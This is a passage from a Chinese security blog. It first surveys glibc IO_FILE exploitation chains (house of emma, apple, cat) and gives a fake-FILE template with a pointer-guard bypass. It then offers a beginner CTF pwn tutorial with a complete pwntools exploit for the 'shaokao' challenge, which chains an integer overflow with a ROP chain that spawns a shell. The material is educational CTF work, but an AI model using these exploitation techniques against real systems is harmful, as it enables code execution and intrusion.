有关。\n但其本质似乎更类似于一个 __free_hook 和 __malloc_hook 的代替品:\nstatic ssize_t_IO_cookie_read (FILE *fp, void *buf, ssize_t size){ struct _IO_cookie_file *cfile = (struct _IO_cookie_file *) fp; cookie_read_function_t *read_cb = cfile->__io_functions.read;#ifdef PTR_DEMANGLE PTR_DEMANGLE (read_cb);#endif if (read_cb == NULL) return -1; return read_cb (cfile->__cookie, buf, size);}static ssize_t_IO_cookie_write (FILE *fp, const void *buf, ssize_t size){ struct _IO_cookie_file *cfile = (struct _IO_cookie_file *) fp; cookie_write_function_t *write_cb = cfile->__io_functions.write;#ifdef PTR_DEMANGLE PTR_DEMANGLE (write_cb);#endif if (write_cb == NULL) { fp->_flags |= _IO_ERR_SEEN; return 0; } ssize_t n = write_cb (cfile->__cookie, buf, size); if (n < size) fp->_flags |= _IO_ERR_SEEN; return n;}static off64_t_IO_cookie_seek (FILE *fp, off64_t offset, int dir){ struct _IO_cookie_file *cfile = (struct _IO_cookie_file *) fp; cookie_seek_function_t *seek_cb = cfile->__io_functions.seek;#ifdef PTR_DEMANGLE PTR_DEMANGLE (seek_cb);#endif return ((seek_cb == NULL || (seek_cb (cfile->__cookie, &offset, dir) == -1) || offset == (off64_t) -1) ? _IO_pos_BAD : offset);}static int_IO_cookie_close (FILE *fp){ struct _IO_cookie_file *cfile = (struct _IO_cookie_file *) fp; cookie_close_function_t *close_cb = cfile->__io_functions.close;#ifdef PTR_DEMANGLE PTR_DEMANGLE (close_cb);#endif if (close_cb == NULL) return 0; return close_cb (cfile->__cookie);}\n\n可以注意到,关键的几个跳转函数都来自于函数指针:\ncookie_read_function_t *read_cb = cfile->__io_functions.read;cookie_write_function_t *write_cb = cfile->__io_functions.write;cookie_seek_function_t *seek_cb = cfile->__io_functions.seek;cookie_close_function_t *close_cb = cfile->__io_functions.close;\n\n这个文件结构来自于如下结构体:\nstruct _IO_cookie_file{ struct _IO_FILE_plus __fp; void *__cookie; cookie_io_functions_t __io_functions;};typedef struct _IO_cookie_io_functions_t{ cookie_read_function_t *read; /* Read bytes. */ cookie_write_function_t *write; /* Write bytes. */ cookie_seek_function_t *seek; /* Seek/tell file position. */ cookie_close_function_t *close; /* Close file. */} cookie_io_functions_t;\n\n在 vtable 为 _IO_cookie_jumps 时会默认当前的结构体为 _IO_cookie_file 。\n在湖湘杯的原题中,其利用思路如下:\n\n伪造 stderr 的 IO_FILE 为堆中数据,并将其 vtable 改为 _IO_cookie_jumps 。然后同 house of kiwi 一样,通过修改 top chunk 的 size 以触发 malloc_assert 与 fflush(stderr) ,从而调用 setcontext+61 来调用 ROP 进行 ORW 读取 flag\n\n不过在高版本中对需表添加了指针保护,其原理是:在调用虚表函数时,将其地址与一个“随机值”进行异或后跳转。\n0x7fad55f729f4 <_IO_cookie_write+4> push rbp0x7fad55f729f5 <_IO_cookie_write+5> push rbx0x7fad55f729f6 <_IO_cookie_write+6> mov rbx, rdi0x7fad55f729f9 <_IO_cookie_write+9> sub rsp, 80x7fad55f729fd <_IO_cookie_write+13> mov rax, qword ptr [rdi + 0xf0]0x7fad55f72a04 <_IO_cookie_write+20> ror rax, 0x110x7fad55f72a08 <_IO_cookie_write+24> xor rax, qword ptr fs:[0x30]0x7fad55f72a11 <_IO_cookie_write+33> test rax, rax0x7fad55f72a14 <_IO_cookie_write+36> je _IO_cookie_write+550x7fad55f72a16 <_IO_cookie_write+38> mov rbp, rdx0x7fad55f72a19 <_IO_cookie_write+41> mov rdi, qword ptr [rdi + 0xe0]0x7fad55f72a20 <_IO_cookie_write+48> call rax\n\n\n先将值循环右移 11 位后与 fs:[0x30] 异或得到真正的跳转地址。但在本题中可以考虑直接修改 fs:[0x30] 中储存的值来绕过这个检查。\n通过多次的 largebin attack 可以实现多次任意地址读写,这能令我们修改 fs:[0X30] 和 stderr。\n如下为常用的伪造模板:\ndef ROL(content, key): tmp = bin(content)[2:].rjust(64, '0') return int(tmp[key:] + tmp[:key], 2)magic_gadget = libc.address + 0x1460e0 # mov rdx, qword ptr [rdi + 8] ; mov qword ptr [rsp], rax ; call qword ptr [rdx + 0x20]fake_IO_FILE = 2 * p64(0)fake_IO_FILE += p64(0) # _IO_write_base = 0fake_IO_FILE += p64(0xffffffffffffffff) # _IO_write_ptr = 0xfffffffffffffffffake_IO_FILE += p64(0)fake_IO_FILE += p64(0) # _IO_buf_basefake_IO_FILE += p64(0) # _IO_buf_endfake_IO_FILE = fake_IO_FILE.ljust(0x58, b'\\x00')fake_IO_FILE += p64(next_chain) # _chainfake_IO_FILE = fake_IO_FILE.ljust(0x78, b'\\x00')fake_IO_FILE += p64(heap_base) # _lock = writable addressfake_IO_FILE = fake_IO_FILE.ljust(0xB0, b'\\x00')fake_IO_FILE += p64(0) # _mode = 0fake_IO_FILE = fake_IO_FILE.ljust(0xC8, b'\\x00')fake_IO_FILE += p64(libc_base+libc.sym['_IO_cookie_jumps'] + 0x40) # vtablefake_IO_FILE += p64(srop_addr) # rdifake_IO_FILE += p64(0)fake_IO_FILE += p64(ROL(magic_gadget ^ (garud_value), 0x11))\n\nhouse of appleapple1该方法作为今年刚出现的新利用,发现者本人已经对该利用做了非常详细的分析,再复述一遍也没有太大的意义,而且也不太尊重这位师傅。因此本文只做一些基本的总结性分析,对于原文的相近分析,可在参考列表中找到 roderick01 师傅的原文。\n使用 house of apple 的条件为:\n\n1、程序从 main 函数返回或能调用 exit 函数\n2、能泄露出 heap 地址和 libc 地址\n3、 能使用一次 largebin attack\n\n调用链为:\nexit -> fcloseall -> _IO_cleanup -> _IO_flush_all_lockp -> _IO_OVERFLOW\n\n在函数主动调用 exit 或从 main 函数正常返回时都能够触发该调用链。\n关键点是通过调用 _IO_wstrn_overflow 等函数实现一次任意地址写:\nstatic wint_t_IO_wstrn_overflow (FILE *fp, wint_t c){ _IO_wstrnfile *snf = (_IO_wstrnfile *) fp; if (fp->_wide_data->_IO_buf_base != snf->overflow_buf) { _IO_wsetb (fp, snf->overflow_buf, snf->overflow_buf + (sizeof (snf->overflow_buf) / sizeof (wchar_t)), 0); fp->_wide_data->_IO_write_base = snf->overflow_buf; fp->_wide_data->_IO_read_base = snf->overflow_buf; fp->_wide_data->_IO_read_ptr = snf->over flow_buf; fp->_wide_data->_IO_read_end = (snf->overflow_buf + (sizeof (snf->overflow_buf) / sizeof (wchar_t))); } fp->_wide_data->_IO_write_ptr = snf->overflow_buf; fp->_wide_data->_IO_write_end = snf->overflow_buf; return c;}\n\n如果能够伪造 _IO_list_all 结构体中的数据,就能够在合适的地点调用该函数,通过设定 _wide_data 来实现任意地址写:\nfp->_wide_data->_IO_write_base = snf->overflow_buf;fp->_wide_data->_IO_read_base = snf->overflow_buf;fp->_wide_data->_IO_read_ptr = snf->over flow_buf;fp->_wide_data->_IO_read_end = (snf->overflow_buf + (sizeof (snf->overflow_buf) / sizeof (wchar_t)));\n\n而由于 _IO_flush_all_lockp 是会通过 _IO_list_all 遍历整个链表的,因此在伪造时可以直接布置好 _chain 来构成连接,从而在第二个伪造的 IO_FILE 中完成利用。\n所以整个利用算是对前面几个利用的一种补充,其关键点在于通过一次写入完成整条调用链的布置。\n在第一个 IO_FILE 中布置一系列数据之后,在第二个 IO_FILE 中借助已经布置好的数据完成利用。提出者本人总结了几个好用的常规思路:\n\nhouse of apple1 + house of pig\n\n\n第一步通过数据写入去修改 tcachebin 中的数据内容,然后在第二个 IO_FILE 中调用 malloc/memcpy 进行任意地址覆盖,如果能够覆盖 free 的 got 表,就能在马上到来时劫持执行流了。\n\n\nhouse of apple1 + house of emma\n\n\nhouse of emma 需要修改 pointer_guard 来绕过指针保护,因此可以通过第一步修改该值为一个定值,然后在第二步中进行 ROP。\n\napple2除了第一种方法外,roderick01 师傅还提出了另外一种利用方法。\n_IO_wide_data 自带了一个虚表指针,而在调用这部分函数时并不会通过 IO_validate_vtable 检查地址合法性,因此可以像是 GLIBC2.23 那样直接修改虚表内容进行劫持。\n主要过程是,劫持 vtable 为 _IO_wfile_jumps ,并控制 IO_FILE 中的 _wide_data -> _wide_vtable 来劫持其中的函数调用。一般可以正常触发 _IO_WDOALLOCATE 和 _IO_WOVERFLOW ,和前文所述的触发方式没有差别。\n对于第二个方法,师傅总结了三条调用链:\n_IO_wfile_overflow -> _IO_wdoallocbuf - > _IO_WDOALLOCATE -> *(fp->_wide_data->_wide_vtable+0x68)(fp)\n\n_IO_wfile_underflow_mmap -> _IO_wdoallocbuf -> _IO_WDOALLOCATE -> *(fp->_wide_data->_wide_vtable + 0x68)(fp)\n\n_IO_wdefault_xsgetn -> __wunderflow -> _IO_switch_to_wget_mode -> _IO_WOVERFLOW -> *(fp->_wide_data->_wide_vtable + 0x18)(fp)\n\n\nhouse of cat该利用出现在今年的强网杯中,不过它的利用链似乎和 apple2 有一部分重合。\n利用条件如下:\n\n\n能够任意写一个可控地址。\n\n\n\n能够泄露堆地址和libc基址。\n\n\n\n能够触发IO流(FSOP或触发__malloc_assert,或者程序中存在puts等能进入IO链的函数),执行IO相关函数。\n\n\n\n其调用链如下:\nvtable -> _IO_wfile_seekoff -> _IO_switch_to_wget_mode -> _IO_WOVERFLOW\n\n首先通过修改 vtable 的偏移使其在触发虚表跳转时执行 _IO_wfile_seekoff ,从而进行调用链。\n在 house of apple2 中提到过,_wide_vtable 是不经过 IO_validate_vtable 检查的,因此可以直接劫持控制流,通过 house of kiwi 的利用手段,以 setcontext+61 来调用 ROP。\n结语最后我们大致梳理一下 IO 利用的几个发展历程吧。\n\n最开始,我们能够直接修改 vtable 的值,这样就能劫持所有的跳转函数了(house of orange)\nGLIBC2.24 开始,加入了检查,这让虚表必须处于某个特定的内存段内\n既然不能修改整个虚表,那就只修改其中几个会被调用的函数地址(house of kiwi)\n在 GLIBC2.31 9.4.0 的小版本下,整个段被设定为不可写\n既然整个虚表都不能改动了,那就通过其中原有的函数调用链进行利用(house of pig 的 malloc-memcpy-free)\n在 GLIBC2.34 开始,__free_hook 和 __malloc_hook 被删除\n寻找上两个的代替品,发现某个虚表中的调用函数仍然使用函数指针进行,修改这个函数指针进行替代,但是由于指针保护的存在,需要多次写入(house of emma)\n寻找一次写入即可完成的调用链,以及没有指针保护的跳转表(house of apple/cat)\n\n\n当然,正如读者所知的是,除了本文涉及到的几个 house of xxx 外,还有 house of banana/house of husk 等诸多利用没有涉及。它们当然也是很有意思的利用,但似乎在某些地方缺乏了泛用性,因此本文仅选了几个笔者认为比较重要或是有代表性的利用进行学习。您也知道,house of xxx 系列总共已有二十来个,其中涉及到 IO 应该也有将近十多个了。如果为了学习一个利用技巧,前置技能需要十来个其他利用,未免显得有些晦涩了。\n\n参考资料winmt:https://bbs.pediy.com/thread-272098.htmchuj:https://www.cjovi.icu/pwnreview/1171.htmlraycp:https://www.anquanke.com/post/id/177958r3kapig:https://www.anquanke.com/post/id/242640roderick01:https://bbs.pediy.com/thread-273418.htmroderick01:https://bbs.pediy.com/thread-273832.htmroderick01:https://bbs.pediy.com/thread-273863.htm春秋伽玛:https://bbs.pediy.com/thread-270429.htmCatF1y:https://bbs.pediy.com/thread-273895.htm\n师傅们的文章都非常炫酷,如果您想要进一步理解,我推荐读者将本文与上述参考对照着看。\n","categories":["杂物间"],"tags":["漏洞挖掘","pwn"]},{"title":"我们对 PWN 都有哪些误会","url":"/2023/09/21/%E6%88%91%E4%BB%AC%E5%AF%B9%20PWN%20%E9%83%BD%E6%9C%89%E5%93%AA%E4%BA%9B%E8%AF%AF%E4%BC%9A/","content":"\n应安恒的邀请,笔者撰写了本文。希望它能帮到那些想要入门 PWN ,却又不知如何是好的新人。\n\n前言刚入学的时候问了一些大哥们 CTF 中都有哪些方向,分别是做什么的,以及难易度如何,对于难易度方面,大哥们基本上都会回答 “PWN” 是入门最困难的方向。这对于当时一无所知的我造成了巨大的心理压力,但由于队内基本上没有其他师傅做这个方向,所以最开始是半推半就的选择了它。\n但是它其实并没有人们说的那么困难,只是因为人们对他的印象与其他方向相比,更具有一层朦胧感。比如 Crypto,一言蔽之其实是数学;再比如 Web,入门其实是各种工具的使用;但到了二进制方向,我们发现,其实不太好找到一个简单易懂的描述去向新人说明它的入门门槛是什么,无论怎么说,似乎都有一些薄薄的朦胧感。\n就比如我向你介绍 Pwn 的时候说它是 “二进制漏洞挖掘与利用”,并跟你说 “先把 C 语言、汇编、CSAPP 看完”,假设你是一个刚入学的大一新生,并且从来没有接触过这方面的相关内容, 那你大概率只能听懂 “先把 C 语言看完” 这一点,相比于 “先把某某某工具的使用熟悉一下” ,然后大哥紧跟着丢了几篇简单易懂的操作教程,自然还是 Pwn 比较令人迷糊。\n但事实上,如果你是计算机相关专业的学生,那 Pwn 的前置技能其实很可能是你大学三年的必修课,只是你需要提前把它们掌握罢了。哪怕你的培养方案里没有这部分内容,甚至哪怕你不准备做 Pwn 方向,掌握一部分基础技能也会让你对计算机的理解更加深刻(甚至你会发现,渐渐的,你的理解已经让同学无法理解了)。\n所以 Pwn 其实并没有人们常说的那样难以入门,因为很多内容都是你的必修课而非专业课,只是你需要靠自学的方式提前把它们掌握罢了。\n不过我对 Pwn 的态度正如我过去在知乎的某个回答:\n\n个人感觉最大的难点在于“能否耐得住寂寞”,因为很难说一个人会对这个东西长期持续地抱有很高的热情,大概是有那样的人,并且那样的人都成大神了,但我这种普通人说实话不太做得到……兴趣肯定还是有的,但很难说还会比当年刚入坑时候要高了。\n个人认为现在学pwn已经没有什么系不系统的问题了,随便一搜资料,跟着大师傅们做做,入了这个门槛,然后从此以后基本上自己就能知道要做什么了。但难点在于,现在是2022年,前人搞过的东西已经被修缮的非常好了,但你还是要从前人的路开始走,因此很可能会有一段很长的时间是“什么都做不了”的状态,比赛也是爆零,挖洞也什么都不知道,像是浑浑噩噩就这么晃悠过去一两年之类的,然后就渐渐没有了当年的兴致,觉得这条路太过艰难了(我自己就是这种菜鸡,有很长一段时间因为和现在的赛题考点脱节以至于比赛一题都做不出来…),然后再看看同级的师傅们去搞钱,一两天就赚的比自己实习一个月还高,眼一红心一横就转 web 去了,然后靠着二进制基础比别人多拿一点……\n\n我必须在刚入门时抱以极高的热情,才能在漫长的自学过程中坚持下来,否则这很容易就让人怀疑自己是否需要如此急迫的完成如此之多的任务,但实际上,这却又是没办法的事情。\nHow to doQ1:到底什么时候才算入门不妨先枚举一下常被归为入门必修课的技能:\n\n提问的智慧\n搜索引擎的使用\nC 语言\n汇编语言\nIDA/gdb 的使用\nPython 脚本的编写\nx86_64 架构下程序运行原理\nctf-wiki\n\n其中最容易被忽略,却又最重要的其实是第一和第二个。只有先学会如何提问和如何自行解决问题以后才有其他后话可说。当然,大部分人都会在之后的学习里不知不觉地掌握它们,但首先得有这份意识。\n然后是二进制精专的入门课程,想来很多人在初学时都会跟我一样抱有这样的疑问:“我知道要学这个,但是要学到什么程度才行?”\n其实这并不需要自己去烦恼,因为我们最后都要进入实战。当你困惑于是否还需要继续向下深入时,不妨上更大平台找一道入门题目,在不看任何答案的情况下检验自己。如果你能够做出来,哪怕只是勉强做出来,那都说明你已经迈过了这个门槛。而如果你尚且还做不出来,那么就需要了解自己是因为哪方面的原因导致,然后在这个方面进一步深入。\n比方说 C 语言,但你看完了基础语法,能够上手写点简单的代码时,就可以开始尝试了;再比方说汇编,如果你能一行一行读明白它们在做什么,那大多时候也足够入门了。\n用具体的数值量化的话,如果你看的是书籍,那么一般要看到书的 1/2 部分,剩下的 1/2 或许暂时用不上,但日后总会遇到需要补课的时候。\n总的来说,只要能够独立完成一道基本的 ret2text ,其实就已经算是入门了。\nQ2:我学完了基础,为什么感觉看题时还是很迷茫一般来说也分两种情况,一种是遇到了自己从没见识过的东西,另外一种则是基础不够扎实。这里推荐各位参考 CTF-Wiki 下 Pwn - Linux Platform - User Mode - Exploitation - Stack Overflow - x86 部分,跟着其内容完成 栈介绍-栈溢出原理 - 基本 ROP 这三个部分。在你完成这三个部分以后,基本上对于常规的栈溢出入门题来说,哪怕不会做,也不至于看不懂题目想让你做什么了。\n对于一些因为没接触过的提醒导致的迷茫,最好的办法就是搜索。刚入门的时候大家都只接触过栈溢出的利用,但是一旦突然撞上了堆题,那一头雾水也是再正常不过的事情了。这种情况下最好的办法就是现学现用,活用自己的搜索能力去寻找于题型类似的题目,如果找不到,再开始从头学起。\n这里介绍一些常规的做题流程,具体细节可能因人而异:\n- 确认题目的运行环境 - 运行的平台/动态库版本等目前的大环境来说,对于需要使用 libc 的题目一般都会将使用的 libc 或者容器的 dockerfile 作为附件一起打包给选手。对于前者的情况下,当我们直接使用 IDA 打开该文件即可知道对应的版本:\n\n如果题目需要选手直接对堆进行调试的话,那么就需要使用 Glibc-All-in-one 和 patchelf 根据版本去修改链接的动态库。\n这里推荐一下团队里的师傅开发的工具:https://github.com/ef4tless/xclibc.git,该工具能够一键完成上述的替换功能。由于 README 写的非常完善了,这里就不过多赘述。\n而如果题目附件中提供了 dockerfile,那么使用的动态库版本一般都会和使用的容器一一对应。\nFROM ubuntu:16.04RUN sed -i "s/http:\\/\\/archive.ubuntu.com/http:\\/\\/mirrors.tuna.tsinghua.edu.cn/g" /etc/apt/sources.list && \\ apt-get update && apt-get -y dist-upgrade && \\ apt-get install -y lib32z1 xinetdRUN useradd -m ctfWORKDIR /home/ctf# 以下省略\n\n对于大多数 dockerfile 都会在第一行标注出使用的容器环境,对应关系如下:\n\nubuntu:16.04 / glibc-2.23\nubuntu:18.04 / glibc-2.28\nubuntu:20.04 / glibc-2.31\nubuntu:22.04 / glibc-2.34\n\n除此之外,最新版的 glibc 已经到了 glibc-2.38 了,但这之后的版本使用范围比较小,目前大部分都只会用到 2.34 版本为止。另外,如果选手遇到一些使用特殊版本的容器时,就需要本地构建 docker 容器后将动态库从容器中复制到本地。具体要根据题目给出的构建规则去创建容器,然后使用类似如下的命令拉取:\ndocker cp imageid:/lib32/libc.so.6 本地路径\n\n另外,对于一些跨架构的题目,比如 arm64 等,则需要使用 qemu 去模逆执行,具体情况要根据题目去选择。\n- 反编译二进制文件静态分析理解代码逻辑接下来我们用一道具体的题目来练练手。\n这里笔者选用了今年举办的 CISCN 初赛中的 shaokao 作为演示,考虑到部分师傅可能对计算机原理还不甚熟悉,因此只选用了较为入门的一道题目。\n因为文件不是很大,我们先用 IDA 直接打开它,看看能不能做些简单的分析:\n\n\n部分师傅用 IDA 打开以后可能直接反编译不会是这个结果,这种情况下请使用 IDA7.7 以上的版本,其中添加了对 switch 的反编译支持\n\n可以看出,题目是一个基本的菜单,根据用户输入的内容分别有几种不同的函数被执行,接下来我们一个一个跟进去确认一下\ncase1\n代码还算清楚,可以看出第一个函数是用来购买啤酒的。用户先是选择想要的种类,然后给出数量,最后会将全局变量里的钱进行扣除\ncase2\n分支2 和前一个函数基本相同,基本上只有价格不一样而已,所以这里我们快速阅读后可以跳过这个函数。\ncase3\n这个函数用来显示当前还有多少钱,写的很规范,基本上一眼就能排处它的嫌疑\ncase4\n分支4的逻辑也很清晰,如果我们现在非常有钱,那么就能直接把烧烤摊买下来,这里设置了 own 为 1,在 main 函数中我们可以看到,如果这个全局变量非 0 ,那么我们就能够进入分支 5\ncase5\n此处可以见到另外一个输入函数,而 scanf 函数作为一个读取输入的函数,根据参数的不同是有可能导致危险的。通过 IDA,我们可以确认出它所使用的格式化字符串为 %s ,这意味着此处存在栈溢出漏洞。\n漏洞发现与利用到这一步相信读者已经大概明白要怎么完成这道题了。题目的逻辑很简单,当用户的钱非常多的时候,就可以把烧烤摊买下来;而买下来以后就可以调用 gaiming 函数触发栈溢出写入 ROP 来劫持程序的运行了。\n\n如果您对 ROP 的工作原理感到困惑,可以阅读本文:https://ctf-wiki.org/pwn/linux/user-mode/stackoverflow/x86/stackoverflow-basic/\n\n但是问题来了,这个 money 的默认值是 233,而且我们似乎不管做什么都只会减少不会增多,那要如何才能买下烧烤摊呢?\n如果您已经知道了整数溢出漏洞的存在,那么想必您已经知道对于计算机来说,加一个数等于减去一个负数,只需要买 -10000 瓶酒就能搞定了。\n但是假如我们作为一个刚刚入门的新人,才只接触过栈溢出的基本利用,此时正是一头雾水的时候,我们该怎么办呢?\n那么此时肯定就要依靠我们自己的搜索和整理能力了。第一个方法很简单也很朴素,既然是我们从未了解过的漏洞类型,那么遍历一遍常见的漏洞列表,大概率能找到与之吻合的类型:\n\n排处掉第一个栈溢出之后,第二个是格式化字符串。再确认了所有的 printf 和 scanf 的输入参数都不能由我们控制后,这个类型也可以排处。以及由于整个程序都没有使用到 malloc 和 free,肯定和堆也没关系,因此也排除第三种。\n第四种看起来非常的复杂,对于新人来说基本上完全看不懂,因此暂且跳过。当我们选到第五种的时候,联系其逻辑中对全局变量的运算,就能相对自然的把利用方式对上。\n- 动态调试验证漏洞存在而既然我们现在模模糊糊的确认代码中存在整数溢出,那么接下来就是要通过调试来确定这个漏洞的存在了。\n我们写一个简单的脚本去验证一下:\nfrom pwn import *from struct import packp=process("./shaokao")gdb.attach(p,"b*0x401FAE")pause()p.recvuntil("0. ")p.sendline(str(1))p.recvuntil("3. ")p.sendline("1")p.recvuntil("\\n")p.sendline("-999998")p.interactive()\n\n脚本的逻辑很简单,随便选一个啤酒,然后买上 -999998 瓶,然后来看看 gdb 里的反应如何。\n我们在这个地方下了个断点,观察一下什么值会被放入全局变量:\n\n\n通过调试可以发现,此时的 eax 真的会变成一个非常大的数字,从而我们验证了漏洞的存在,现在就可以开始编写 exp 了。\n- 编写脚本+调试进行利用由于题目是静态编译的,因此我们可以使用如下命令快速构造 ROP\nROPgadget --binary shaokao --ropchain\n\n最后构造的 exp 如下:\nfrom pwn import *from struct import packp=process("./shaokao")#gdb.attach(p,"b*0x401FAE")#pause()p.recvuntil("0. ")p.sendline(str(1))p.recvuntil("3. ")p.sendline("1")p.recvuntil("\\n")p.sendline("-999998")p.recvuntil("0. ")p.sendline(str(4))p.recvuntil("0. ")p.sendline(str(5))def rop():\tp = ''\tp += pack('<Q', 0x000000000040a67e) # pop rsi ; ret\tp += pack('<Q', 0x00000000004e60e0) # @ .data\tp += pack('<Q', 0x0000000000458827) # pop rax ; ret\tp += '/bin//sh'\tp += pack('<Q', 0x000000000045af95) # mov qword ptr [rsi], rax ; ret\tp += pack('<Q', 0x000000000040a67e) # pop rsi ; ret\tp += pack('<Q', 0x00000000004e60e8) # @ .data + 8\tp += pack('<Q', 0x0000000000447339) # xor rax, rax ; ret\tp += pack('<Q', 0x000000000045af95) # mov qword ptr [rsi], rax ; ret\tp += pack('<Q', 0x000000000040264f) # pop rdi ; ret\tp += pack('<Q', 0x00000000004e60e0) # @ .data\tp += pack('<Q', 0x000000000040a67e) # pop rsi ; ret\tp += pack('<Q', 0x00000000004e60e8) # @ .data + 8\tp += pack('<Q', 0x00000000004a404b) # pop rdx ; pop rbx ; ret\tp += pack('<Q', 0x00000000004e60e8) # @ .data + 8\tp += pack('<Q', 0x4141414141414141) # padding\tp += pack('<Q', 0x0000000000447339) # xor rax, rax ; ret\tp += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret\tp += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret\tp += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret\tp += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret\tp += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret\tp += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret\tp += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret\tp += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret\tp += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret\tp += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret\tp += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret\tp += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret\tp += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret\tp += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret\tp += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret\tp += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret\tp += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret\tp += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret\tp += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret\tp += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret\tp += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret\tp += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret\tp += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret\tp += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret\tp += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret\tp += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret\tp += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret\tp += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret\tp += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret\tp += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret\tp += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret\tp += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret\tp += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret\tp += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret\tp += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret\tp += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret\tp += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret\tp += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret\tp += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret\tp += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret\tp += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret\tp += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret\tp += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret\tp += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret\tp += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret\tp += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret\tp += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret\tp += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret\tp += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret\tp += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret\tp += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret\tp += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret\tp += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret\tp += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret\tp += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret\tp += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret\tp += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret\tp += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret\tp += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret\tp += pack('<Q', 0x00000000004230a6) # syscall ; re\treturn ppayload=b"a"*32+b"b"*8+rop()p.sendline(payload)p.interactive()\n\n整个过程一般来说没有什么可以取巧的地方,但在编写脚本时可以提前自己准备好一份框架模板,在用的时候只需要修改文件名就能直接上手,这会避免些许时间浪费。\n比如这样,提前将要用到的函数简化等:\nfrom pwn import * context.log_level='debug' context.arch='amd64' p=process('./your_binary')ru = lambda a: p.readuntil(a)r = lambda n: p.read(n)sla = lambda a,b: p.sendlineafter(a,b) sa = lambda a,b: p.sendafter(a,b) sl = lambda a: p.sendline(a) s = lambda a: p.send(a) p.interactive()\n\n总结总的来说,这道题目并不困难,笔者相信对大多数师傅来说都是非常简单的一道题。但是本文既然面向即将开始入门这个方向的师傅,如果全文都是在讲述极其复杂的理解和利用,相信这会让大多数人望而却步。如果您真的期望看一些较为复杂的内容,籍此提前了解一下未来会遇到哪些麻烦的问题,欢迎您浏览笔者的博客和某些论坛的主页。\n归根结底,笔者在此还算希望能减轻师傅们对 PWN 的一些畏难心理。因为笔者最开始学 PWN 的时候也会因为见到不认识的内容感到无从下手,从而放弃整道题目,而在事后看完 writeup 又觉得追悔莫及。\nQ3:学习过程中有没有什么重难点需要注意?学 Pwn 最忌讳的就是“怕麻烦”。很多时候可能看反编译出来的伪代码难以理解,但其实上手调试一下就能解决。而克服自己怕麻烦的心态其实就是 Pwn 的成长路途上几大麻烦之一。\n另外一个点则是“有耐心”。尤其是对于刚入门不久的师傅们来说,Pwn 的做题流程相比于其他方向都显得更加的冗长,有的时候连第一步的环境搭建都要折腾上几个小时之久,还会面临各种各样极其麻烦的场景,因此对 Pwn 手来说,耐心是一个很关键的要素,一方面在做题时保持心态才能够稳定输出,另一方面只有长期保持兴趣才能在 Pwn 的道路上越走越远。\n除此之外,在技术上的重难点就是对技术的适应性。随着现在 CTF 比赛越来越多,题型和技术栈也是越来越繁茂了,如何在遇到新型的题目设计时尽快适应也是一个重难点。举个简单的例子,对于做惯了 x86_64 下 C 语言赛题的师傅,如果突然给出了一道 arm64 Pwn 的题目,又或者是 Rust 编写的题目时,如何快速的适应题目并展开分析就变得重要了。\n以我的个人经验来说,要想快速适应新的题型,往往需要通过大量的赛前积累。这并不意味着靠题海战术解决,而是通过不同的类型赛题去培养自己的直觉,养成了一个良好的意识习惯以后,自然就对各类题型都不会觉得梗塞了。\n以 Arm64 架构举例:做惯了 x86_64 架构的师傅都知道,x86_64 是基于栈和寄存器的架构,这意味着栈溢出能够劫持它的运行逻辑。现在我们切换到 arm64 ,通过资料可以查阅出,它是一款基于寄存器的架构。在 x64 下,call 一个函数时会将返回地址入栈,而 arm64 肯定也要具备函数调用的能力,那么它的函数调用是如何实现的?\n通过搜索可以找到如下样例:\n.text.global _funcA, _sum_funcA: stp x29, x30, [sp, #-0x10]! bl _sum ldp x29, x30, [sp], #0x10 ret_sum: add x0, x0, x1 ret\n\n可以发现它使用了 x29 和 x30 